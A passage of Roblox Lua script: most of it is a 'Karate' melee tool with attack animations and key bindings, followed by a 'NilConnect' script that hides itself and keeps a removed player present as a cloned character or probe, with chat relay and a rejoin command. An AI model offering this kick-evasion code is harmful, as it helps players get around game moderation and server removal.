| 3054 | function(mouse) | |
| 3055 | ||
| 3056 | local Orig = torso.CFrame | |
| 3057 | ||
| 3058 | local MousePos = mouse.Hit.p | |
| 3059 | ||
| 3060 | local bg = Add.BG(torso) | |
| 3061 | ||
| 3062 | local bp = Add.BP(torso) | |
| 3063 | ||
| 3064 | bp.position = Orig.p | |
| 3065 | ||
| 3066 | local CF = ComputePos(Orig.p, MousePos) | |
| 3067 | ||
| 3068 | local CF2 = CF | |
| 3069 | ||
| 3070 | bg.cframe = CF2 | |
| 3071 | ||
| 3072 | attach() | |
| 3073 | ||
| 3074 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
| 3075 | ||
| 3076 | startEff(TBricks[3][1]) | |
| 3077 | ||
| 3078 | TBricks[3].hurt = true | |
| 3079 | ||
| 3080 | slash:play() | |
| 3081 | ||
| 3082 | dmg = dmgs.Kdmg | |
| 3083 | ||
| 3084 | for i = 0, 100, 100/4 do | |
| 3085 | ||
| 3086 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 3087 | ||
| 3088 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0) | |
| 3089 | ||
| 3090 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 3091 | ||
| 3092 | RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
| 3093 | ||
| 3094 | LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7)) | |
| 3095 | ||
| 3096 | CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0) | |
| 3097 | ||
| 3098 | bg.cframe = CF2 | |
| 3099 | ||
| 3100 | wait() | |
| 3101 | ||
| 3102 | end | |
| 3103 | ||
| 3104 | wait(0.1) | |
| 3105 | ||
| 3106 | TBricks[3].hurt = false | |
| 3107 | ||
| 3108 | for i = 100, 0, -100/5 do | |
| 3109 | ||
| 3110 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 3111 | ||
| 3112 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0) | |
| 3113 | ||
| 3114 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 3115 | ||
| 3116 | RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
| 3117 | ||
| 3118 | LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
| 3119 | ||
| 3120 | CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0) | |
| 3121 | ||
| 3122 | bg.cframe = CF2 | |
| 3123 | ||
| 3124 | wait() | |
| 3125 | ||
| 3126 | end | |
| 3127 | ||
| 3128 | endEff() | |
| 3129 | ||
| 3130 | wait() | |
| 3131 | ||
| 3132 | nilparts() | |
| 3133 | ||
| 3134 | bg:remove() | |
| 3135 | ||
| 3136 | bp:remove() | |
| 3137 | ||
| 3138 | neck.C0 = necko | |
| 3139 | ||
| 3140 | end, | |
| 3141 | ||
| 3142 | function(mouse) | |
| 3143 | ||
| 3144 | local Orig = torso.CFrame | |
| 3145 | ||
| 3146 | local MousePos = mouse.Hit.p | |
| 3147 | ||
| 3148 | local bg = Add.BG(torso) | |
| 3149 | ||
| 3150 | local bp = Add.BP(torso) | |
| 3151 | ||
| 3152 | bp.position = Orig.p | |
| 3153 | ||
| 3154 | local CF = ComputePos(Orig.p, MousePos) | |
| 3155 | ||
| 3156 | local CF2 = CF | |
| 3157 | ||
| 3158 | bg.cframe = CF2 | |
| 3159 | ||
| 3160 | attach() | |
| 3161 | ||
| 3162 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
| 3163 | ||
| 3164 | TBricks[2].hurt = true | |
| 3165 | ||
| 3166 | startEff(TBricks[2][1]) | |
| 3167 | ||
| 3168 | slash:play() | |
| 3169 | ||
| 3170 | dmg = dmgs.Pdmg | |
| 3171 | ||
| 3172 | for i = 0, -90, -90/4 do | |
| 3173 | ||
| 3174 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 3175 | ||
| 3176 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 3177 | ||
| 3178 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4)) | |
| 3179 | ||
| 3180 | RAW.C0 = CFrame.Angles(0, 0, 0) | |
| 3181 | ||
| 3182 | LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i)) | |
| 3183 | ||
| 3184 | CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0) | |
| 3185 | ||
| 3186 | bg.cframe = CF2 | |
| 3187 | ||
| 3188 | wait() | |
| 3189 | ||
| 3190 | end | |
| 3191 | ||
| 3192 | wait(0.07) | |
| 3193 | ||
| 3194 | TBricks[2].hurt = false | |
| 3195 | ||
| 3196 | endEff() | |
| 3197 | ||
| 3198 | startEff(TBricks[1][1]) | |
| 3199 | ||
| 3200 | TBricks[1].hurt = true | |
| 3201 | ||
| 3202 | bp.position = CF * CFrame.new(0, 0, -3).p | |
| 3203 | ||
| 3204 | slash:play() | |
| 3205 | ||
| 3206 | for i = -90, 0, 90/7 do | |
| 3207 | ||
| 3208 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90))) | |
| 3209 | ||
| 3210 | RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90)) | |
| 3211 | ||
| 3212 | LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i)) | |
| 3213 | ||
| 3214 | CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0) | |
| 3215 | ||
| 3216 | bg.cframe = CF2 | |
| 3217 | ||
| 3218 | wait() | |
| 3219 | ||
| 3220 | end | |
| 3221 | ||
| 3222 | wait(0.07) | |
| 3223 | ||
| 3224 | TBricks[1].hurt = false | |
| 3225 | ||
| 3226 | for i = 0, -90, -90/5 do | |
| 3227 | ||
| 3228 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90))) | |
| 3229 | ||
| 3230 | RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90)) | |
| 3231 | ||
| 3232 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23)) | |
| 3233 | ||
| 3234 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23)) | |
| 3235 | ||
| 3236 | CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0) | |
| 3237 | ||
| 3238 | bg.cframe = CF2 | |
| 3239 | ||
| 3240 | wait() | |
| 3241 | ||
| 3242 | end | |
| 3243 | ||
| 3244 | endEff() | |
| 3245 | ||
| 3246 | wait() | |
| 3247 | ||
| 3248 | nilparts() | |
| 3249 | ||
| 3250 | bg:remove() | |
| 3251 | ||
| 3252 | bp:remove() | |
| 3253 | ||
| 3254 | neck.C0 = necko | |
| 3255 | ||
| 3256 | end, | |
| 3257 | ||
| 3258 | function(mouse) | |
| 3259 | ||
| 3260 | local Orig = torso.CFrame | |
| 3261 | ||
| 3262 | local MousePos = mouse.Hit.p | |
| 3263 | ||
| 3264 | local bg = Add.BG(torso) | |
| 3265 | ||
| 3266 | local bp = Add.BP(torso) | |
| 3267 | ||
| 3268 | bp.position = Orig.p | |
| 3269 | ||
| 3270 | local CF = ComputePos(Orig.p, MousePos) | |
| 3271 | ||
| 3272 | local CF2 = CF | |
| 3273 | ||
| 3274 | bg.cframe = CF2 | |
| 3275 | ||
| 3276 | attach() | |
| 3277 | ||
| 3278 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
| 3279 | ||
| 3280 | TBricks[4].hurt = true | |
| 3281 | ||
| 3282 | startEff(TBricks[4][1]) | |
| 3283 | ||
| 3284 | slash:play() | |
| 3285 | ||
| 3286 | dmg = dmgs.K2dmg | |
| 3287 | ||
| 3288 | for i = 0, -100, -100/4 do | |
| 3289 | ||
| 3290 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 3291 | ||
| 3292 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 3293 | ||
| 3294 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i)) | |
| 3295 | ||
| 3296 | RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7)) | |
| 3297 | ||
| 3298 | LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7)) | |
| 3299 | ||
| 3300 | CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0) | |
| 3301 | ||
| 3302 | bg.cframe = CF2 | |
| 3303 | ||
| 3304 | wait() | |
| 3305 | ||
| 3306 | end | |
| 3307 | ||
| 3308 | wait(0.1) | |
| 3309 | ||
| 3310 | bp.position = CF * CFrame.new(0, 0, -3).p | |
| 3311 | ||
| 3312 | TBricks[4].hurt = false | |
| 3313 | ||
| 3314 | endEff() | |
| 3315 | ||
| 3316 | startEff(TBricks[3][1]) | |
| 3317 | ||
| 3318 | TBricks[3].hurt = true | |
| 3319 | ||
| 3320 | local Cobalt11641, hipow12 = RLW.C0, LLW.C0 | |
| 3321 | ||
| 3322 | slash:play() | |
| 3323 | ||
| 3324 | for i = -100, -290, -190/5 do | |
| 3325 | ||
| 3326 | RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4))) | |
| 3327 | ||
| 3328 | LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100)) | |
| 3329 | ||
| 3330 | CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0) | |
| 3331 | ||
| 3332 | bg.cframe = CF2 | |
| 3333 | ||
| 3334 | wait() | |
| 3335 | ||
| 3336 | end | |
| 3337 | ||
| 3338 | wait(0.1) | |
| 3339 | ||
| 3340 | bp.position = CF * CFrame.new(0, 0, -4.5).p | |
| 3341 | ||
| 3342 | TBricks[3].hurt = false | |
| 3343 | ||
| 3344 | Cobalt11641, hipow12 = RLW.C0, LLW.C0 | |
| 3345 | ||
| 3346 | for i = 0, -70, -70/3 do | |
| 3347 | ||
| 3348 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100)) | |
| 3349 | ||
| 3350 | RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4)) | |
| 3351 | ||
| 3352 | LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0) | |
| 3353 | ||
| 3354 | RAW.C0 = CFrame.Angles(0, 0, 0) | |
| 3355 | ||
| 3356 | LAW.C0 = CFrame.Angles(0, 0, 0) | |
| 3357 | ||
| 3358 | CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0) | |
| 3359 | ||
| 3360 | bg.cframe = CF2 | |
| 3361 | ||
| 3362 | wait() | |
| 3363 | ||
| 3364 | end | |
| 3365 | ||
| 3366 | endEff() | |
| 3367 | ||
| 3368 | wait() | |
| 3369 | ||
| 3370 | nilparts() | |
| 3371 | ||
| 3372 | bg:remove() | |
| 3373 | ||
| 3374 | bp:remove() | |
| 3375 | ||
| 3376 | neck.C0 = necko | |
| 3377 | ||
| 3378 | end, | |
| 3379 | ||
| 3380 | function(mouse) | |
| 3381 | ||
| 3382 | if mouse ~= nil then | |
| 3383 | ||
| 3384 | local Orig = torso.CFrame | |
| 3385 | ||
| 3386 | local MousePos = mouse.Hit.p | |
| 3387 | ||
| 3388 | local bg = Add.BG(torso) | |
| 3389 | ||
| 3390 | local bp = Add.BP(torso) | |
| 3391 | ||
| 3392 | bp.position = Orig.p | |
| 3393 | ||
| 3394 | local CF = ComputePos(Orig.p, MousePos) | |
| 3395 | ||
| 3396 | local CF2 = CF | |
| 3397 | ||
| 3398 | bg.cframe = CF2 | |
| 3399 | ||
| 3400 | startEff(TBricks[3][1]) | |
| 3401 | ||
| 3402 | attach() | |
| 3403 | ||
| 3404 | bp.position = CF * CFrame.new(0, 0, -1).p | |
| 3405 | ||
| 3406 | dmg = dmgs.Rdmg | |
| 3407 | ||
| 3408 | for i = 0, 180, 180/7 do | |
| 3409 | ||
| 3410 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2)) | |
| 3411 | ||
| 3412 | RLW.C0 = CFrame.Angles(0, 0, 0) | |
| 3413 | ||
| 3414 | LLW.C0 = CFrame.Angles(0, 0, 0) | |
| 3415 | ||
| 3416 | RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10)) | |
| 3417 | ||
| 3418 | LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10)) | |
| 3419 | ||
| 3420 | CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0) | |
| 3421 | ||
| 3422 | bg.cframe = CF2 | |
| 3423 | ||
| 3424 | wait() | |
| 3425 | ||
| 3426 | end | |
| 3427 | ||
| 3428 | slash:play() | |
| 3429 | ||
| 3430 | TBricks[3].hurt = true | |
| 3431 | ||
| 3432 | for i = 180, 180+90, 90/4 do | |
| 3433 | ||
| 3434 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90)) | |
| 3435 | ||
| 3436 | RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0) | |
| 3437 | ||
| 3438 | LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3))) | |
| 3439 | ||
| 3440 | RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10)) | |
| 3441 | ||
| 3442 | LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10)) | |
| 3443 | ||
| 3444 | CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0) | |
| 3445 | ||
| 3446 | bg.cframe = CF2 | |
| 3447 | ||
| 3448 | wait() | |
| 3449 | ||
| 3450 | end | |
| 3451 | ||
| 3452 | TBricks[3].hurt = false | |
| 3453 | ||
| 3454 | wait() | |
| 3455 | ||
| 3456 | for i = 270, 360, 90/5 do | |
| 3457 | ||
| 3458 | local a = i-270 | |
| 3459 | ||
| 3460 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i)) | |
| 3461 | ||
| 3462 | RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0) | |
| 3463 | ||
| 3464 | LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3))) | |
| 3465 | ||
| 3466 | RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10))) | |
| 3467 | ||
| 3468 | LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10))) | |
| 3469 | ||
| 3470 | CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0) | |
| 3471 | ||
| 3472 | bg.cframe = CF2 | |
| 3473 | ||
| 3474 | wait() | |
| 3475 | ||
| 3476 | end | |
| 3477 | ||
| 3478 | endEff() | |
| 3479 | ||
| 3480 | wait() | |
| 3481 | ||
| 3482 | nilparts() | |
| 3483 | ||
| 3484 | bg:remove() | |
| 3485 | ||
| 3486 | bp:remove() | |
| 3487 | ||
| 3488 | neck.C0 = necko | |
| 3489 | ||
| 3490 | end | |
| 3491 | ||
| 3492 | end, | |
| 3493 | ||
| 3494 | function(mouse) | |
| 3495 | ||
| 3496 | local Orig = torso.CFrame | |
| 3497 | ||
| 3498 | local MousePos = mouse.Hit.p | |
| 3499 | ||
| 3500 | local bg = Add.BG(torso) | |
| 3501 | ||
| 3502 | local bp = Add.BP(torso) | |
| 3503 | ||
| 3504 | bp.position = Orig.p | |
| 3505 | ||
| 3506 | local CF = ComputePos(Orig.p, MousePos) | |
| 3507 | ||
| 3508 | local CF2 = CF | |
| 3509 | ||
| 3510 | bg.cframe = CF2 | |
| 3511 | ||
| 3512 | startEff(TBricks[2][1]) | |
| 3513 | ||
| 3514 | attach() | |
| 3515 | ||
| 3516 | bp.position = CF * CFrame.new(0, 0, -0.8).p | |
| 3517 | ||
| 3518 | dmg = dmgs.Kardmg | |
| 3519 | ||
| 3520 | for i = 0, -45, -45/3 do | |
| 3521 | ||
| 3522 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 3523 | ||
| 3524 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 3525 | ||
| 3526 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4)) | |
| 3527 | ||
| 3528 | RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3)) | |
| 3529 | ||
| 3530 | LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0) | |
| 3531 | ||
| 3532 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
| 3533 | ||
| 3534 | bg.cframe = CF2 | |
| 3535 | ||
| 3536 | wait() | |
| 3537 | ||
| 3538 | end | |
| 3539 | ||
| 3540 | TBricks[2].hurt = true | |
| 3541 | ||
| 3542 | bp.position = CF * CFrame.new(0, 0, -1.6).p | |
| 3543 | ||
| 3544 | slash:play() | |
| 3545 | ||
| 3546 | for i = -45, -110, -65/3 do | |
| 3547 | ||
| 3548 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 3549 | ||
| 3550 | LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110))) | |
| 3551 | ||
| 3552 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
| 3553 | ||
| 3554 | bg.cframe = CF2 | |
| 3555 | ||
| 3556 | wait() | |
| 3557 | ||
| 3558 | end | |
| 3559 | ||
| 3560 | wait() | |
| 3561 | ||
| 3562 | TBricks[2].hurt = false | |
| 3563 | ||
| 3564 | for i = -110, 0, 110/4 do | |
| 3565 | ||
| 3566 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 3567 | ||
| 3568 | LAW.C0 = CFrame.Angles(0, 0, math.rad(i) ) | |
| 3569 | ||
| 3570 | RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3)) | |
| 3571 | ||
| 3572 | RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4))) | |
| 3573 | ||
| 3574 | LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4))) | |
| 3575 | ||
| 3576 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
| 3577 | ||
| 3578 | bg.cframe = CF2 | |
| 3579 | ||
| 3580 | wait() | |
| 3581 | ||
| 3582 | end | |
| 3583 | ||
| 3584 | endEff() | |
| 3585 | ||
| 3586 | wait() | |
| 3587 | ||
| 3588 | nilparts() | |
| 3589 | ||
| 3590 | bg:remove() | |
| 3591 | ||
| 3592 | bp:remove() | |
| 3593 | ||
| 3594 | neck.C0 = necko | |
| 3595 | ||
| 3596 | end | |
| 3597 | ||
| 3598 | } | |
| 3599 | ||
| 3600 | bloc = function(mouse) | |
| 3601 | ||
| 3602 | local hold = true | |
| 3603 | ||
| 3604 | local bg = Add.BG(nil) | |
| 3605 | ||
| 3606 | attach() | |
| 3607 | ||
| 3608 | RLW.Part1 = nil | |
| 3609 | ||
| 3610 | LLW.Part1 = nil | |
| 3611 | ||
| 3612 | slash:play() | |
| 3613 | ||
| 3614 | local duh = true | |
| 3615 | ||
| 3616 | block = true | |
| 3617 | ||
| 3618 | mouse.KeyUp:connect(function(k) | |
| 3619 | ||
| 3620 | k = k:lower() | |
| 3621 | ||
| 3622 | if duh == true and k == "t" then | |
| 3623 | ||
| 3624 | block = false | |
| 3625 | ||
| 3626 | duh = false | |
| 3627 | ||
| 3628 | hold = false | |
| 3629 | ||
| 3630 | end | |
| 3631 | ||
| 3632 | end) | |
| 3633 | ||
| 3634 | coroutine.resume(coroutine.create(function() | |
| 3635 | ||
| 3636 | for i = 0, 90, 90/7 do | |
| 3637 | ||
| 3638 | RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2)) | |
| 3639 | ||
| 3640 | LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5)) | |
| 3641 | ||
| 3642 | wait() | |
| 3643 | ||
| 3644 | end | |
| 3645 | ||
| 3646 | end)) | |
| 3647 | ||
| 3648 | bg.Parent = torso | |
| 3649 | ||
| 3650 | while block and hold do | |
| 3651 | ||
| 3652 | wait() | |
| 3653 | ||
| 3654 | bg.cframe = ComputePos(torso.Position, mouse.Hit.p) | |
| 3655 | ||
| 3656 | end | |
| 3657 | ||
| 3658 | for i = 90, 0, -90/7 do | |
| 3659 | ||
| 3660 | RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2)) | |
| 3661 | ||
| 3662 | LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5)) | |
| 3663 | ||
| 3664 | wait() | |
| 3665 | ||
| 3666 | end | |
| 3667 | ||
| 3668 | nilparts() | |
| 3669 | ||
| 3670 | bg:remove() | |
| 3671 | ||
| 3672 | neck.C0 = necko | |
| 3673 | ||
| 3674 | end | |
| 3675 | ||
| 3676 | function select(mouse) | |
| 3677 | ||
| 3678 | mouse.Button1Down:connect(function() | |
| 3679 | ||
| 3680 | if able then | |
| 3681 | ||
| 3682 | able = false | |
| 3683 | ||
| 3684 | attacks[1](mouse) | |
| 3685 | ||
| 3686 | attacks[2](mouse) | |
| 3687 | ||
| 3688 | attacks[3](mouse) | |
| 3689 | ||
| 3690 | attacks[4](mouse) | |
| 3691 | ||
| 3692 | attacks[5](mouse) | |
| 3693 | ||
| 3694 | able = true | |
| 3695 | ||
| 3696 | end | |
| 3697 | ||
| 3698 | end) | |
| 3699 | ||
| 3700 | mouse.KeyDown:connect(function(key) | |
| 3701 | ||
| 3702 | key = key:lower() | |
| 3703 | ||
| 3704 | if able then | |
| 3705 | ||
| 3706 | if key == "q" then | |
| 3707 | ||
| 3708 | able = false | |
| 3709 | ||
| 3710 | attacks[2](mouse) | |
| 3711 | ||
| 3712 | able = true | |
| 3713 | ||
| 3714 | elseif key == "e" then | |
| 3715 | ||
| 3716 | able = false | |
| 3717 | ||
| 3718 | attacks[1](mouse) | |
| 3719 | ||
| 3720 | able = true | |
| 3721 | ||
| 3722 | elseif key == "r" then | |
| 3723 | ||
| 3724 | able = false | |
| 3725 | ||
| 3726 | attacks[3](mouse) | |
| 3727 | ||
| 3728 | able = true | |
| 3729 | ||
| 3730 | elseif key == "f" then | |
| 3731 | ||
| 3732 | able = false | |
| 3733 | ||
| 3734 | attacks[4](mouse) | |
| 3735 | ||
| 3736 | able = true | |
| 3737 | ||
| 3738 | elseif key == "g" then | |
| 3739 | ||
| 3740 | able = false | |
| 3741 | ||
| 3742 | attacks[5](mouse) | |
| 3743 | ||
| 3744 | able = true | |
| 3745 | ||
| 3746 | elseif key == "t" then | |
| 3747 | ||
| 3748 | able = false | |
| 3749 | ||
| 3750 | bloc(mouse) | |
| 3751 | ||
| 3752 | able = true | |
| 3753 | ||
| 3754 | elseif key == "z" then | |
| 3755 | ||
| 3756 | able = false | |
| 3757 | ||
| 3758 | holdkey = true | |
| 3759 | ||
| 3760 | while holdkey do | |
| 3761 | ||
| 3762 | attacks[math.random(1,#attacks)](mouse) | |
| 3763 | ||
| 3764 | end | |
| 3765 | ||
| 3766 | able = true | |
| 3767 | ||
| 3768 | end | |
| 3769 | ||
| 3770 | end | |
| 3771 | ||
| 3772 | end) | |
| 3773 | ||
| 3774 | mouse.KeyUp:connect(function(key) | |
| 3775 | ||
| 3776 | key = key:lower() | |
| 3777 | ||
| 3778 | if key == "z" then | |
| 3779 | ||
| 3780 | holdkey = false | |
| 3781 | ||
| 3782 | end | |
| 3783 | ||
| 3784 | end) | |
| 3785 | ||
| 3786 | end | |
| 3787 | ||
| 3788 | if script.Parent.className ~= "HopperBin" then | |
| 3789 | ||
| 3790 | h = Instance.new("HopperBin",me.Backpack)
| |
| 3791 | ||
| 3792 | h.Name = "Karate" | |
| 3793 | ||
| 3794 | script.Parent = h | |
| 3795 | ||
| 3796 | end | |
| 3797 | ||
| 3798 | bin = script.Parent | |
| 3799 | ||
| 3800 | bin.Selected:connect(select) | |
| 3801 | ]] | |
| 3802 | NilConnect = [[ | |
| 3803 | wait(0.001) | |
| 3804 | script:ClearAllChildren() | |
| 3805 | script.Parent=nil | |
| 3806 | wait(1) | |
| 3807 | LocalPlayer = game:service'Players'.LocalPlayer | |
| 3808 | ProbeMode = false | |
| 3809 | char = nil | |
| 3810 | probe = nil | |
| 3811 | game:service'Debris':AddItem(x,3) | |
| 3812 | if LocalPlayer.Character then | |
| 3813 | LocalPlayer.Character.Archivable = true | |
| 3814 | char = LocalPlayer.Character:Clone() | |
| 3815 | char.Torso.Anchored = true | |
| 3816 | else | |
| 3817 | local con = LocalPlayer.CharacterAdded:connect(function() | |
| 3818 | wait(0.5) | |
| 3819 | LocalPlayer.Character.Archivable = true | |
| 3820 | char = LocalPlayer.Character:Clone() | |
| 3821 | char.Torso.Anchored = true | |
| 3822 | end) | |
| 3823 | end | |
| 3824 | xcon = LocalPlayer.Changed:connect(function(asd) | |
| 3825 | if asd == 'Parent' then | |
| 3826 | local a = Instance.new("Hint",workspace)
| |
| 3827 | a.Text = '[ Connected|CMDS|Probe|Char|Fcam|Rej ]' | |
| 3828 | game:service'Debris':AddItem(a,3) | |
| 3829 | end | |
| 3830 | end) | |
| 3831 | asdcon = LocalPlayer.Chatted:connect(function(msg) | |
| 3832 | pcall(function() | |
| 3833 | if LocalPlayer.Parent ~= game:service'Players' then | |
| 3834 | if msg == 'char/' then | |
| 3835 | ProbeMode = false | |
| 3836 | elseif msg == 'probe/' then | |
| 3837 | ProbeMode = true | |
| 3838 | elseif msg == 'fcam/' then | |
| 3839 | if LocalPlayer.Parent ~= game:service'Players' then | |
| 3840 | if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then | |
| 3841 | if ProbeMode == false then | |
| 3842 | game.Players.CurrentCamera.CameraSubject = game.Workspace[LocalPlayer.Name].Humanoid | |
| 3843 | end | |
| 3844 | end | |
| 3845 | end | |
| 3846 | elseif msg == 'rej/' then | |
| 3847 | coroutine.wrap(function() | |
| 3848 | if ProbeMode == true then | |
| 3849 | probe:remove() | |
| 3850 | else | |
| 3851 | LocalPlayer.Character:remove() | |
| 3852 | char = nil | |
| 3853 | end | |
| 3854 | zcon:disconnect() | |
| 3855 | asdcon:disconnect() | |
| 3856 | xcon:disconnect() | |
| 3857 | end)() | |
| 3858 | game:service'TeleportService':Teleport(game.PlaceId) | |
| 3859 | else | |
| 3860 | if ProbeMode == true then | |
| 3861 | game:service'Chat':Chat(probe,msg) | |
| 3862 | else | |
| 3863 | game:service'Chat':Chat(LocalPlayer.Character.Head,msg) | |
| 3864 | end | |
| 3865 | end | |
| 3866 | end | |
| 3867 | end) | |
| 3868 | end) | |
| 3869 | zcon = game:service'RunService'.RenderStepped:connect(function() | |
| 3870 | if LocalPlayer.Parent ~= game:service'Players' then | |
| 3871 | if ProbeMode == false then | |
| 3872 | if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then | |
| 3873 | local chr = char:Clone() | |
| 3874 | chr.Parent = workspace | |
| 3875 | LocalPlayer.Character = chr | |
| 3876 | wait(0.1) | |
| 3877 | game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid' | |
| 3878 | end | |
| 3879 | else | |
| 3880 | if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'Cobalt1164Mesh' == nil then | |
| 3881 | if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end | |
| 3882 | local a = Instance.new("Part",workspace)
| |
| 3883 | a.Name = LocalPlayer.Name | |
| 3884 | a.FormFactor = 'Custom' | |
| 3885 | a.CanCollide = false | |
| 3886 | a.Locked = true | |
| 3887 | a.Anchored = true | |
| 3888 | a.TopSurface = 0 | |
| 3889 | a.BottomSurface = 0 | |
| 3890 | a.Size = Vector3.new(2,2,2) | |
| 3891 | a.BrickColor = BrickColor.new("Really black")
| |
| 3892 | local b = Instance.new('SpecialMesh',a)
| |
| 3893 | b.Name = 'Cobalt1164Mesh' | |
| 3894 | b.MeshType = 'Sphere' | |
| 3895 | probe = a | |
| 3896 | else | |
| 3897 | local asd = probe:findFirstChild'Cobalt1164Mesh' | |
| 3898 | asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2) | |
| 3899 | probe.CFrame = workspace.CurrentCamera.Focus | |
| 3900 | end | |
| 3901 | end | |
| 3902 | end | |
| 3903 | end) | |
| 3904 | LocalPlayer:GetMouse().KeyDown:connect(function(k) | |
| 3905 | key = k | |
| 3906 | end) | |
| 3907 | LocalPlayer:GetMouse().KeyUp:connect(function() | |
| 3908 | key = nil | |
| 3909 | end) | |
| 3910 | game:service'RunService'.RenderStepped:connect(function() | |
| 3911 | if LocalPlayer.Parent ~= game:service'Players' then | |
| 3912 | if ProbeMode == false then | |
| 3913 | if LocalPlayer.Character ~= nil then | |
| 3914 | if key == 'w' then | |
| 3915 | LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5) | |
| 3916 | elseif key == 's' then | |
| 3917 | LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5) | |
| 3918 | elseif key == 'd' then | |
